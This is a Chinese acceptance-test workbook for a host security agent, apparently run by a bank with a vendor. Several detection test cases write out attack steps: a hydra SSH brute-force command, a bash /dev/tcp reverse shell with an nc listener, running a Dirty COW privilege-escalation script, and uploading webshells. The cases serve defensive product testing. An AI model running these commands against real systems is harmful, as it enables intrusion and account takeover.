# 通过性测试用例

## Agent管理功能

### Agent一键安装

|  |  |
| --- | --- |
| 案例编号 | Agent一键安装 |
| 测试目的 | 测试主机安全产品支持采用一键式安装方法，自动从堡垒机下载安装包，并执行安装程序，完成安装 |
| 预置条件 | 主机操作系统到堡垒机、服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到相应安装部署模块，获取一键安装命令。 3. 分别登录测试机，执行安装命令。 |
| 预期结果 | 结果1：在测试机上执行ps -ef | grep ‘进程名’ 或tasklist | findstr 进程名 查看主机安全客户端进程存在。  结果2：登录服务端，能够看到新安装的主机。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent远程卸载

|  |  |
| --- | --- |
| 案例编号 | Agent远程卸载 |
| 测试目的 | 测试主机安全产品支持在服务端进行远程卸载 |
| 预置条件: | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到相应安装部署模块，找到测试主机，点击卸载。 3. 查看测试主机上客户端进程是否存在。 4. 登录服务端，刷新页面 |
| 预期结果 | 结果1：在测试机上执行ps -ef | grep ‘进程名’ 或tasklist | findstr 进程名 查看主机安全客户端进程不存在  结果2：主机显示为已卸载。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent远程管理

|  |  |
| --- | --- |
| 案例编号 | Agent远程管理 |
| 测试目的 | 测试主机安全产品支持在服务端进行远程管理 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 在主机管理模块可以找到测试主机，可以查看主机基础信息。 3. 在Agent管理页面可以查看客户端版本、运行状态 4. 在服务端对Oracle-76-01停用Agent 5. 在服务端对Oracle-76-01启用Agent |
| 预期结果 | 结果1（步骤2-3）：能够看到客户端运行状态、版本信息。  结果2（步骤4-5）：执行完成客户端重启后，登录测试机查看核心进程启动时间。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent安全性

|  |  |
| --- | --- |
| 案例编号 | Agent安全性 |
| 测试目的 | 测试主机安全产品安装后是否会增加安全风险 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 主机安装Agent之前执行netstat -tnlp查看已侦听的端口 2. 在测试主机上安装Agent 3. 安装好Agent之后执行netstat -tnlp查看的侦听端口 |
| 预期结果 | 结果：安装Agent不会新增对外的侦听端口。 |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent兼容性

|  |  |
| --- | --- |
| 案例编号 | Agent兼容性 |
| 测试目的 | 测试主机安全产品支持主流Windows、Linux操作系统 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 在Oracle Linux、RedHat、Windows测试机器上安装Agent 2. 在主机管理模块查看测试主机 |
| 预期结果 | 结果1：能够安装成功。  结果2：服务端可以查看主机基础信息。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 功能指标

### 资产信息总览

|  |  |
| --- | --- |
| 案例编号 | 主机信息总览 |
| 测试目的 | 总体概览当前主机资产信息 |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到资产信息总览模块 |
| 预期结果 | 能够对采集上来的资产形成总体的资产视图，并通过不同图或标签整体展示资产信息 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 进程信息采集

|  |  |
| --- | --- |
| 案例编号 | 进程信息采集 |
| 测试目的 | 查看当前主机运行的所有进程相关信息，为安全事件分析提供协助 |
| 预置条件 | 预先安装agent |
| 测试拓扑 | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到进程模块并点击进入 |
| 预期结果 | 模块内按主机维度和进程维度显示所有主机运行的所有进程相关信息，包括进程名、进程路径、PID、用户等；以及进程维度下所有进程所在的主机信息； |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 端口信息采集

|  |  |
| --- | --- |
| 案例编号 | 端口信息采集 |
| 测试目的 | 通过查询端口号检测进程情况 |
| 预置条件 | 预先安装agent |
| 测试拓扑 | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到端口模块并点击进入 |
| 预期结果 | 显示所有主机所运行进程绑定的端口相关信息，  端口包括：  Oracle-76-01—80、8080  Oracle-76-02—3306、1521  Redhat-67-01—5432、10080  采集内容包括端口号、服务名、进程名、协议、端口访问性； |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 账号信息采集

|  |  |
| --- | --- |
| 案例编号 | 系统账号采集 |
| 测试目的 | 支持采集主机上的账号信息，可采集账号的用户名、是否Root权限、上次登录时间、所属用户组、密码过期时间、上次密码修改时间； |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无需 |
| 测试方法 | 1. Oracle-76-01上登录root后执行useradd test新建用户test，执行passwd test根据提示修改密码为ccb@test 2. 执行su - test 3. 执行exit，退回到root账户下vi /etc/shadow 找到test的密码过期字段（第五个字段）修改为500 4. 重新采集资产 |
| 预期结果 | 支持采集主机上的test账号信息:   1. test帐号的是否root权限显示为：否 2. test帐号上次登录时间为步骤2操作时的时间 3. 所属用户组为test 4. test帐号密码过期时间为测试日期往后推的500天 5. test帐号上次修改密码的时间为步骤1操作的时间 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 数据库信息采集

|  |  |
| --- | --- |
| 案例编号 | 数据库信息采集 |
| 测试目的 | 能够识别出主机上安装的数据库软件，包括Mysql、Oracle等，并且识别出其安装路径、端口、版本、运行用户等。 |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 找到数据库模块并点击进入 |
| 预期结果 | 能够识别出所有主机上安装的数据库软件，包括Mysql、Oracle，  MySQL—版本：5.5.20；安装路径：/home/db/mysql  Oracle—版本：19.3.0.0.0；安装路径：/opt/oracle |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### web服务采集

|  |  |
| --- | --- |
| 案例编号 | Web服务采集 |
| 测试目的 | 能够识别出主机上安装的Web服务，包括Apache、weblogic等，并识别出其版本、安装路径信息、启动文件路径 |
| 预置条件 | 1. 预先安装agent 2. 主机预先安装Apache、weblogic等 |
| 测试拓扑 | 无需 |
| 测试方法 | 查看主机资产中的web容器功能，即可 |
| 预期结果 | 能够识别出所有主机上安装的Web服务，包括Apache、weblogic  Apache:  所属主机—Oracle-76-01  安装路径—/home/soft/httpd  版本—2.4.38  启动文件路径—/home/soft/httpd/bin/  Weblogic:  所属主机—Redhat-67-01  安装路径—/home/soft/weblogic/  版本—10.0.3.6  启动文件路径—  /home/soft/weblogic/Oracle/Middleware/user\_projects/domains/base\_domain/bin/startWebLogic.sh |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### web框架采集

|  |  |
| --- | --- |
| 案例编号 | Web框架采集 |
| 测试目的 | 能够识别出所有Web站点中使用的框架，并且识别出框架版本、使用该web框架的web应用的路径等信息 |
| 预置条件 | 预先安装agent |
| 测试拓扑 | 无需 |
| 测试方法 | 查看主机资产中的web框架功能，即可 |
| 预期结果 | 能够识别出所有Web站点中使用的框架  Struts2  版本：2.5.12  路径：/home/soft/tomcat/webapps/  Spring  版本：4.1.9  安装路径：/home/soft/tomcat/webapps/  Fastjson  版本：1.2.37  安装路径：/home/soft/tomcat/webapps/ |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 弱口令检查

|  |  |
| --- | --- |
| 案例编号 | 弱口令检查 |
| 测试目的 | 测试产品是否具有系统及应用弱口令检查功能 |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅； 2. 在服务端对弱口令库新增ccb123456 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 测试主机上设置弱密码   **ssh**：Oracle-76-01上执行passwd ccb 根据提示修改ssh密码为ccb123456   1. 登录服务端，对主机进行弱口令检查 2. 等待扫描结束，查看结果 |
| 预期结果 | 能够检查出主机上部署软件所存在的弱口令，在服务端能看到Oracle-76-01上ccb用户的ssh弱口令 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 系统安全补丁检查

|  |  |
| --- | --- |
| 案例编号 | 支持识别出现有系统中所缺失的安全补丁。 |
| 测试目的 | 检查主机安全产品能否识别出主机上未安装的补丁，以及补丁的风险描述、验证信息、修复建议、漏洞利用原理、所影响业务、修复漏洞是否需要重启等 |
| 预置条件： | 1. 主机操作系统到服务端网络访问关系通畅 2. 主机存在缺失的安全补丁 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 登录服务端，对Oracle-76-01进行系统安全补丁扫描检查 3. 等待扫描结束，查看结果 |
| 预期结果 | 能够识别出识别出现有系统中所缺失的安全补丁，如以下漏洞中的任意两个： CVE-2019-11811 Linux kernel 资源管理错误漏洞  CVE-2019-14287 Sudo 安全漏洞  CVE-2019-3862 libssh2 缓冲区错误漏洞  CVE-2018-15686 systemd 安全漏洞  CVE-2019-9948 Python 安全特征问题漏洞  CVE-2019-6974 Linux kernel 竞争条件问题漏洞  CVE-2019-1559 OpenSSL 信息泄露漏洞  CVE-2019-11745 多款Mozilla产品缓冲区错误漏洞  CVE-2019-1125 Intel x86-64和AMD Microprocessors 信息泄露漏洞  CVE-2018-15688 systemd dhcp6客户端缓冲区错误漏洞 |
| 测试工具： |  |
| 测试记录： |  |
| 测试结果： |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 暴力破解检测

|  |  |
| --- | --- |
| 案例编号 | 暴力破解检测 |
| 测试目的 | 支持暴力破解阈值设定，能够检测暴力破解行为，当发现暴力破解行为时，能够拉黑攻击IP。 |
| 预置条件 | 服务器上开放远程连接端口，安装暴力破解工具 |
| 测试拓扑 | 无需 |
| 测试方法 | 1. 登录服务端，找到暴力破解设置模块 2. 打开对应测试机的暴力破解防护开关 3. 在攻击机上对测试机执行不同的攻击语句：   爆破ssh，执行命令：hydra  -L 用户名字典路径 -P 密码字典路径 -vV %ip% ssh |
| 测试工具： |  |
| 预期结果 | 能够检查出ssh暴力破解行为。 |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 异常登录检查

|  |  |
| --- | --- |
| 案例编号 | 异常登录检测 |
| 测试目的 | 能够检查异常登录行为。 |
| 预置条件： | 服务器上开放远程连接端口 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 支持常用登录IP段监控、常用登录时间监控   设置常用登录IP为Redhat-67-02的局域网IP、常用登录时间为20：00-21：00、   1. 使用Redhat-67-01（白名单外的ip）的主机登录Oracle-76-01 2. 使用Redhat-67-02(白名单内的ip)的主机在09：00时登录Oracle-76-01，ssh root@ {Oracle-76-01的ip} |
| 预期结果 | 结果1(步骤2)：能监测异常IP登录告警  结果2(步骤3)：能检测到异常登录时间的告警 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 反弹shell检查

|  |  |
| --- | --- |
| 案例编号 | 反弹shell检测 |
| 测试目的 | 能够发现反弹shell行为。 |
| 预置条件 | 一台靶机，一台攻击机器，拿到靶机的webshell |
| 测试拓扑： | 无 |
| 测试方法 | 1. 模拟黑客在Oracle-76-01上执行：nc -l 7777,在Oracle-76-02上执行攻击命令：bash -i >& /dev/tcp/<Oracle-76-01的IP>/7777 0>&1 2. 检验Oracle-76-01上输入命令: ip a |grep inet 确认返回的ip是Oracle-76-02的ip 3. 检验Agent是否能够识别出攻击行为 |
| 预期结果 | 服务端上有反弹shell告警记录 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 本地提权检查

|  |  |
| --- | --- |
| 案例编号 | 本地提权检查 |
| 测试目的； | 支持检测本地提权行为。 |
| 预置条件 | 1. 登录服务端 2. 在redhat-67-01上新建test账号并设置修改密码 useradd test;passwd test,根据提示设置密码为ccb@2020 3. 将提权脚本dirty.zip上传至redhat-67-01主机的/home/test目录下,并解压   注：仅限4.8.3>kernel>2.6.22的内核存在提权漏洞 |
| 测试拓扑： | 无 |
| 测试方法 | 1.用低权限账户test登录主机 ssh test@{ redhat-67-01的ip}  2.执行赋权命令chmod +x dirty，执行提权脚本./dirty(根据脚本提示创建新管理员用户密码，等待提权结束后会提示输入之前创建的新管理员密码并输入密码进行登录)  3.提权成功后在服务端查看告警  注：提权后登录提权的帐号，把服务器原本的passwd还原回去，不做此步骤的话可能引起服务器异常，执行命令为：cp /tmp/passwd.bak /etc/passwd |
| 预期结果 | 在开启本地提权实时监控的情况下能够发现本地提权行为的告警 |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Webshell检查

|  |  |
| --- | --- |
| 案例编号 | Webshell检查 |
| 测试目的 | 能够及时发现落盘的web shell文件，能发现Webshell并告警； |
| 预置条件 | 多种类型的webshell |
| 测试拓扑： | 无 |
| 测试方法 | 1. 服务端对Oracle-76-01开启webshell实时检测 2. 将10个Webshell上传到Oracle-76-01 上的/home/soft/tomcat/webapps目录下 |
| 预期结果 | 可以在服务端查看到至少3条webshell告警 |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 管理功能

### 分组管理

|  |  |
| --- | --- |
| 案例编号 | 分组功能 |
| 测试目的 | 能够根据实际业务，对agent进行分组管理 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 创建一个分组【主机安全测试】 3. 把Oracle-76-01添加进分组【主机安全测试】 4. 新建一条策略，指定该策略下发的主机组为【主机安全测试】 |
| 预期结果 | 结果1：支持对主机进行分组  结果2：在Oracle-76-01上检验下发的策略生效，在Oracle-76-02检验策略并没有下发到本机上 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 符合RBAC访问控制模型

#### 创建多个用户组并赋予不同角色

|  |  |
| --- | --- |
| 案例编号 | 创建多个用户组并赋予不同角色 |
| 测试目的 | 符合RBAC访问控制模型 |
| 预置条件 | 无 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 使用登录平台 2. 创建用户组test1和test2 3. 创建角色role1和role2，授予不同的权限，并将role1绑定到test1、role2绑定到test2 4. 创建2个子账号A、B，并将子账号A分到test1、子账号B分到test2 5. 分别使用子账号A和B登录平台 |
| 预期结果 | 子账号A只能拥有test1用户组绑定的role1角色所具有的权限；  子账号B只能拥有test2用户组绑定的role2角色所具有的权限； |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 非功能指标

### 平均系统资源占用情况

|  |  |
| --- | --- |
| 案例编号 | Agent平均系统资源占用情况 |
| 测试目的 | 测试Agent在正常使用情况下的资源占用情况 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 在测试机上安装agent 2. 在测试机上使用nmon监控系统资源占用 |
| 预期结果 | 所有测试机上的agent 的CPU平均使用率<10%，内存平均占用<200MB |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 管理平台的审计记录功能

|  |  |
| --- | --- |
| 案例编号 | 能够记录平台用户的操作行为及登录行为。 |
| 测试目的 | 测试主机安全产品是否具有系统审计功能 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端。 2. 在服务端查看操作日志 |
| 预期结果 | 结果1：能够看到用户，在什么时间，执行了哪些操作，例如开启了异常登录监控，并配置了登录监控相关参数  结果2：能够看到登录流水及是否登录成功 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

# 评价性测试用例

## 用户体验

### Agent防卸载密码

|  |  |
| --- | --- |
| 案例编号 | Agent防卸载密码 |
| 测试目的 | 测试Agent是否具有防卸载机制 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 在服务端设置一台Linux和一台Windows测试机的agent防卸载密码 2. 设置agent防卸载密码123456 3. 登录测试主机，执行Agent卸载脚本 4. 输入错误的卸载密码123123 5. 输入正确的卸载密码123456 |
| 预期结果 | 结果1：Agent 卸载脚本返回提示，需要输入授权码才能卸载。  结果2：输入错误的卸载密码无法卸载Agent  结果3：输入正确的卸载密码成功卸载Agent |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent自保护

|  |  |
| --- | --- |
| 案例编号 | Agent自保护 |
| 测试目的 | 测试Agent是否具有自保护机制 |
| 预置条件 | 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录测试机，ps -ef | grep 进程名，拿到进程ID，执行Kill 进程ID。  2. 确认进程是否已经被杀掉，ps -ef | grep 进程名，查看进程是否存在。  3. 如果确认进程被杀掉，10秒内，再次查看Agent进程，看是否被自动拉起。 |
| 预期结果 | Agent 被杀后，在10秒内被自动拉起。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent灰度更新发布

|  |  |
| --- | --- |
| 案例编号 | 支持灰度更新Agent,指定服务器和指定时间进行升级； |
| 测试目的 | 支持灰度更新Agent,指定服务器和指定时间进行升级； |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅 2. 准备高版本Agent 3. 服务端新建分组：主机安全测试-1，组内包括Oracle-76-01和Redhat-67-01；  主机安全测试-2，组内包括Oracle-76-02和Redhat-67-02 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 登录服务端 2. 在服务端设置在时间点T1对主机安全测试-1组进行Redhat-67-01升级； 3. 在T1+20分钟后在服务端确认主机安全测试-1组内Redhat-67-01的Agent版本是否升级为高版本，登录Redhat-67-01，ps auxf |grep ‘进程名’查看Agent进程启动时间是否在T1+20分钟范围内 |
| 预期结果 | 结果1：在服务端显示版本升级成功，且版本号为高版本  结果2：主机上Agent进程启动时间在指定的升级时间T1之后（T1+20分钟左右）  结果3：升级成功后服务器无需重启 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent资源使用率管理

|  |  |
| --- | --- |
| 案例编号 | 支持Agent自杀降级的设置； |
| 测试目的 | 可在服务端配置Agent资源使用率相关参数，特别是在主机资源占用过高的情况下，agent能自动释放自身进程CPU使用率；能够通过管理平台自定义在主机资源占用过高时下发agent对于CPU超限降级、自杀的阈值设置 |
| 预置条件 | 1. 主机操作系统到服务端网络访问关系通畅 |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 参考案例3.5.1的步骤1-2 |
| 预期结果 | 结果1：界面上支持CPU超限降级、自杀的阈值设置且案例3.5.1测试通过 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 支持超限降级阈值配置 口 通过 口 未通过 口 未测试  支持超限自杀阈值配置 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 资产清点

### 资产变更分析

|  |  |
| --- | --- |
| 案例编号 | 资产变更分析 |
| 测试目的 | 精确资产信息变化情况 |
| 预置条件 | 预先安装agent |
| 测试拓扑： | 无 |
| 测试方法 | 1. 登录测试机（Oracle-76-01），在root下执行：   yum install -y telnet  useradd test123   1. 在服务端重新触发采集这台主机资产 2. 在服务端对应页面查看 |
| 预期结果 | 结果1：服务端可以看到新增telnet软件应用（Oracle-76-01）  结果2：服务端可以看到新增帐号test123及其所在主机IP（Oracle-76-01） |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 资产一键搜索

|  |  |
| --- | --- |
| 案例编号 | 资产一键搜索 |
| 测试目的 | 服务端支持在一个页面对所有类型资产进行一键搜索，快速筛选出与关键字匹配的相关资产 |
| 预置条件 | 无 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 进入服务端一键搜页面，页面包含各类资产； 2. 通过关键字搜索，可以在一个页面快速定位与关键字相关的不同类型资产，输入db关键字进行搜索，在页面上查看结果 |
| 预期结果 | 结果1：可以搜索到帐号资产中db用户以及包含关键字db的任何资产。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 数据库信息采集

|  |  |
| --- | --- |
| 案例编号 | 数据库信息采集 |
| 测试目的 | 能够识别出主机上安装的数据库软件，包括Mysql、Oracle等，并且识别出其安装路径、端口、版本、运行用户等。 |
| 预置条件 | 1. 预先正确安装Mysql、Oracle、； 2. 预先安装agent |
| 测试拓扑： | 无 |
| 测试方法 | 查看主机资产中的数据库功能，即可 |
| 预期结果 | 能够识别出所有主机上安装的数据库软件，包括Mysql、Oracle、  Mysql：  所属主机—Oracle-76-02  安装路径—/home/db/mysql  版本—5.5.20  监听端口—3306  运行用户—db  oracle：  所属主机— Oracle-76-02  安装路径—/opt/oracle  版本—19.3.0.0.0  监听端口—1521  运行用户—oracle |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   支持采集mysql：口 通过 口 未通过 口 未测试  支持采集oracle： 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Web服务信息采集

|  |  |
| --- | --- |
| 案例编号 | Web服务信息采集 |
| 测试目的 | 能够识别出主机上安装的Web服务，包括Apache、Tomcat、Weblogic、Nginx等，并识别出其版本、安装路径信息、启动文件路径 |
| 预置条件 | 1. 预先安装agent 2. 主机预先安装Apache、Tomcat、Weblogic、Nginx等 |
| 测试拓扑： | 无 |
| 测试方法 | 查看主机资产中的web容器功能，即可 |
| 预期结果 | 能够识别出所有主机上安装的Web服务，包括Apache、Tomcat、Weblogic、Nginx等  Apache:  所属主机—Oracle-76-01  安装路径—/home/soft/httpd  版本—2.4.38  启动文件路径—/home/soft/ httpd /bin/  tomcat:  所属主机—Oracle-76-01  安装路径—/home/soft/tomcat  版本—8.5.2  启动文件路径—/home/soft/tomcat/bin/catalina.sh  Weblogic:  所属主机—Redhat-67-01  安装路径—/home/soft/weblogic/  版本—10.0.3.6  启动文件路径—  /home/soft/weblogic/Oracle/Middleware/user\_projects/domains/base\_domain/bin/startWebLogic.sh  nginx:  所属主机—Redhat-67-01  安装路径—/home/soft/nginx  版本—1.12.2  启动文件路径—/home/soft/nginx/sbin/nginx |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |  支持采集apache 口 通过 口 未通过 口 未测试  支持采集tomcat 口 通过 口 未通过 口 未测试  支持采集weblogic 口 通过 口 未通过 口 未测试  支持采集nginx 口 通过 口 未通过 口 未测试 |
| 备注 |  |
